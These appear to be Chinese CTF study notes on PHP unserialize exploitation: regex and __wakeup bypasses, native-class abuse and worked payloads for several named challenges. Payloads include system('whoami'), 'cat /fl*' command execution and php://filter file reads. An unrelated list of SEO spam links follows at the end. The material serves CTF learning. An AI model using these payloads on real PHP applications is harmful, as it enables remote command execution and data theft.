对于privateprotected等属性为与public属性区分开php在序列化private属性时会在属性名前加上\0对象类名\0,protected会在属性名前加上\0*\0,\0是不可见字符无法直接打印出来url编码为%00后方可显示如 对于php版本7.1像我本地的7.3.4反序列化对象的某个属性时即使这个属性是private或protected遇到的是公有属性序列化字符串也会成功反序列化如 如果版本不符就只能通过url编码传入数据 正则匹配序列化绕过 这一个知识点我还没遇到过刷题太少玩星穹太多导致的借鉴大佬的文章来学习https://blog.csdn.net/m0_64815693/article/details/127982134以后做题有遇到再补充 preg_match(‘/^O:\d/’) 这个就是匹配字符串开头是不是O:且:后面第一个字符是不是数字正常序列化对象字符串都是写exp时我们可以把对象放入一个数组中再序列化反序列化会先还原数组再还原对象两个过程互不干扰这样序列化字符串开头就是a:\d绕过这个正则如 $anew Man(); $barray($a); echo serialize($b); 结果 a:1:{i:0;O:3:Man:3:{s:4:name;s:5:hello;s:4:info;s:5:wrold;s:3:age;i:10;}}大佬及网上的其他文章都介绍了另一种方法就是O:后的数字前加上如O:3但我在本地实验时这个方法会报错导致反序列化失败应该是php版本问题 preg_match(/^[Oa]:\d/) 如果是这样匹配转为array没办法绕过可以尝试转为C查阅资料得知C表示的用户自定义类但我们利用的明明是php的原生类具体原理可看上面大佬的另一个文章https://blog.csdn.net/m0_64815693/article/details/130038356 我简单记录一下利用方法1.首先找所有实现了serialize接口的类如下 ArrayObject ArrayIterator RecursiveArrayIterator SplDoublyLinkedList SplQueue SplStack SplObjectStorage选择上面的一个类生成实例对象随便赋值一个属性为我们pop链的起点类即可exp如下 $anew A(); $a-infonew B(); $cnew ArrayObject(); $c-a$a; echo serialize($c); // C:11:ArrayObject:117:{x:i:0;a:0:{};m:a:1:{s:1:a;O:1:A:2:{s:4:info;O:1:B:1:{s:3:end;s:17:system(whoami);;}s:3:end;s:1:1;}}} 这个方法只能绕过正则wakeup和异常无法绕过 类名大小写不敏感 php反序列化对类名的大小写不敏感在我有类A和类B的demo中传下面的字符串也能成功 O:1:a:2:{s:4:info;O:1:b:1:{s:3:end;s:17:system(whoami);;}s:3:end;s:1:1;}16进制绕过关键字检测 序列化中表示字符串的s如果为大写后面跟十六进制数据在反序列化时也能成功读取 原生类利用 php有一些原生类可以用来扫描目录或读取文件但php4.3之后这些原生类被禁止用serialize或unserialize来处理除非题目能主动生成这个对象所以感觉用处有限就先简单记录一下这些原生类的使用以后遇到相关题型再来补充 从这篇大佬的文章来学习https://blog.csdn.net/qq_39947980/article/details/136723533 能扫目录的三个类 DirectoryIterator(支持glob://协议),如DirectoryIterator(glob://*flag*) FilesystemIterator继承自1同上也可以直接输入路径如new FilesystemIterator(./) GlobIterator相等于自带glob协议的DirectoryIterator存在toString方法直接echo 只能打印第一个文件foreach遍历可以打印所有文件 文件读取类 SplFileObject 存在toString方法同目录扫描类直接echo返回第一行内容遍历才能读取所有内容或者配合伪协议读取文件 题目实战 反序列化题目代码都挺长的只复制关键部分过来 网鼎杯 2020 青龙组AreUSerialz 关键部分这一题只有一个类可以利用的关键部分如下 private function read() {$res ;if(isset($this-filename)) {$res file_get_contents($this-filename);}return $res;}利用file_get_contents获取flag源码提示就在flag.php因此控制filename为flag.php即可考点在这里: public function process() {if($this-op 1) {$this-write();} else if($this-op 2) {$res $this-read();$this-output($res);} else {$this-output(Bad Hacker!);}} function __destruct() {if($this-op 2)$this-op 1;$this-content ;$this-process();} function is_valid($s) {for($i 0; $i strlen($s); $i)if(!(ord($s[$i]) 32 ord($s[$i]) 125))return false;return true; }process和__destruct这两个地方把op设为数字2即可php弱类型比较是相等的 is_valid这个函数检查序列化字符串是不是都是有效字符题目类的属性都是protect如果直接用url编码输出%00就是\0,无法通过检查看看题目php版本 7.4.3直接把类的属性都改为public即可最后payload ?strO:11:FileHandler:3:{s:2:op;i:2;s:8:filename;s:8:flag.php;s:7:content;N;}[GDOUCTF 2023]反方向的钟 题目在nssctf平台https://www.nssctf.cn/problem/3723 题目关键部分 class school{public $department;public $headmaster;public function __construct($department,$ceo){$this-department $department;$this-headmaster $ceo;}public function IPO(){if($this-headmaster ong){echo Pretty Good ! Ctfer!\n;echo new $_POST[a]($_POST[b]);}}public function __wakeup(){if($this-department-hahaha()) {$this-IPO();}} } if(isset($_GET[d])){unserialize(base64_decode($_GET[d])); } ?源码提示flag.php且在schoo类中的IPO方法中有帮我们new 对象那就考虑原生类SplFileObject读取flag 很简单的pop链school:__wakeup-classrom:haha -classrom-namenew teahcher(ing,department) -school:IPO exp: $anew school(); $a-departmentnew classroom(); $a-department-nameone class; $a-department-leadernew teacher(ing,department); $a-headmasterong; echo base64_encode(serialize($a));[GHCTF 2024 新生赛]ezzz_unserialize 题目在nssctf平台https://www.nssctf.cn/problem/5162 题目关键部分 class Heraclqs{public $grape;public $blueberry;public function __invoke(){//blueberryaW8if(md5(md5($this - blueberry)) 123) {return $this - grape - hey;}} }这里需要blueberry两次md5后以123开头要跑脚本大佬脚本如下 import hashlib import itertoolsdef brute_force_md5():# 使用字母表和数字进行字符的尝试charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789# 迭代尝试所有可能的字符组合for text in itertools.product(charset, repeat3):text .join(text)hash1 hashlib.md5(text.encode()).hexdigest()hash2 hashlib.md5(hash1.encode()).hexdigest()# 检查是否满足条件if hash2.startswith(123) and hash2[3].isalpha():# 输出满足条件的字符串print(满足条件的字符串:, text 两次MD5加密后为 hash2 )break# 运行爆破 brute_force_md5()构造pop链时可能有多个类的都有同样符合的触发条件的魔术方法要选能简单利用的 pop链的终点选为这个类 class E{public $e;public function __get($arg1){array_walk($this, function ($Monday, $Tuesday) {$Wednesday new $Tuesday($Monday);foreach($Wednesday as $Thursday){echo ($Thursday.br);}});} }array_walk就是遍历对象或数组对其中的元素应用传入的回调方法然后回调方法中有new 生成对象所以一样用原生类来做而且有foreach扫描目录能获得完整信息 exp: $anew Sakura(); $a-applenew UkyoTachibana(); $a-apple-banananew BasaraKing(); $a-apple-banana-orangenew Heraclqs() ; $a-apple-banana-orange-blueberryaW8; $a-apple-banana-orange-grapenew E(); #扫描根目录 $a-apple-banana-orange-grape-DirectoryIterator/; #读取flag $a-apple-banana-orange-grape-SplFileObjectphp://filter/readconvert.base64-encode/resource/1_ffffffflllllagggggg;读取flag时还是习惯性的用了过滤器 newstarctf2023 more fast buu上的源码关键部分 $a unserialize($_POST[fast]); throw new Exception(Nope);题目也提示more fast所以这题直接破坏数据结构fast-destruct就ok exp $a new Start(); $a-errMsgnew Crypto(); $a-errMsg-objnew Reverse(); $a-errMsg-obj-funcnew Pwn(); $a-errMsg-obj-func-objnew Web(); $a-errMsg-obj-func-obj-funcsystem; $a-errMsg-obj-func-obj-varls /; echo serialize($a); #正常 O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:4:ls /;}}}}} #少一个},fast-destruct O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:4:ls /;}}}} #通配符绕过正则读取flag O:5:Start:1:{s:6:errMsg;O:6:Crypto:1:{s:3:obj;O:7:Reverse:1:{s:4:func;O:3:Pwn:1:{s:3:obj;O:3:Web:2:{s:4:func;s:6:system;s:3:var;s:8:cat /fl*;}}}}}! Web_php_unserialize 来自攻防世界 这一题源码不长 ?php class Demo { private $file index.php;public function __construct($file) { $this-file $file; }function __destruct() { echo highlight_file($this-file, true); }function __wakeup() { if ($this-file ! index.php) { //the secret is in the fl4g.php$this-file index.php; } } } if (isset($_GET[var])) { $var base64_decode($_GET[var]); if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else {unserialize($var); } } else { highlight_file(index.php); } ?flag应该就在fl4g.php要绕过__wakeup还有正则这个正则就是匹配了O,C:后跟一个数字可以在用O:4绕过由于不是匹配开头无法用数组绕过 看看php版本能不能修改属性过__wakeup 版本正确可以修改exp如下 class Demo { private $file fl4g.php;} $anew Demo(); $strstr_replace(O:4,O:4,serialize($a)); $strstr_replace(:1:,:4:,$str); echo base64_encode($str);! 成功
http://www.hyszgw.com/news/86625.html

相关文章:

  • 网站平台建设方案1688黄页网免费网站
  • vue可以做pc的网站二次开发信怎么写
  • 中国建设信号工证网站房产备案价格查询官网
  • 网站关键词怎么做上首页手机怎么制作h5作品
  • 网站别名wordpress 竖导航栏
  • 网站添加字体仿礼物说网站模板
  • 如何自己建营销网站soho做网站谷歌推广
  • 设计有关的网站2023年专业招标时间
  • 产品设计公司介绍怀化seo网站
  • 模拟网站建设济南网站建设服务商
  • 哪个网站可以改字体如何查询网站的主机
  • 网站盈利的10种方式小学校园网站建设简介
  • 网站开发 -(广告)wordpress 激活
  • 网络推广网站排行榜生物制药公司网站建设
  • 网站建设课程下载网站建设的实验步骤
  • 校园网站建设的用处常用网站开发工具有哪些
  • 邯郸哪有做网站的任意做别的公司网站销售产品违法吗
  • 商城类网站建设的服务器选择寻求南宁网站建设人员
  • 中国糕点网页设计网站江苏省建设工程集团
  • 建设企业银行官方网站宜昌网站建设设计
  • 网站上的淘客组件是怎样做的福建建设信息网站
  • 网站建设 维护购销合同北京的电商平台网站
  • 哪做网站比较好网站建设服务器价格
  • 营销策划网站公司做网站那个网站好
  • 青海省教育厅门户网站临猗县 保障住房和建设住建网站
  • 建设行业信息管理系统网站WordPress 不显示主题页
  • 广东手机网站建设公司的网站建设费入什么科目
  • 免费网站一键生成中搜seo
  • 东莞营销型网站外贸免费开发网站建设
  • 设计师免费素材网站推荐官方购物网站正品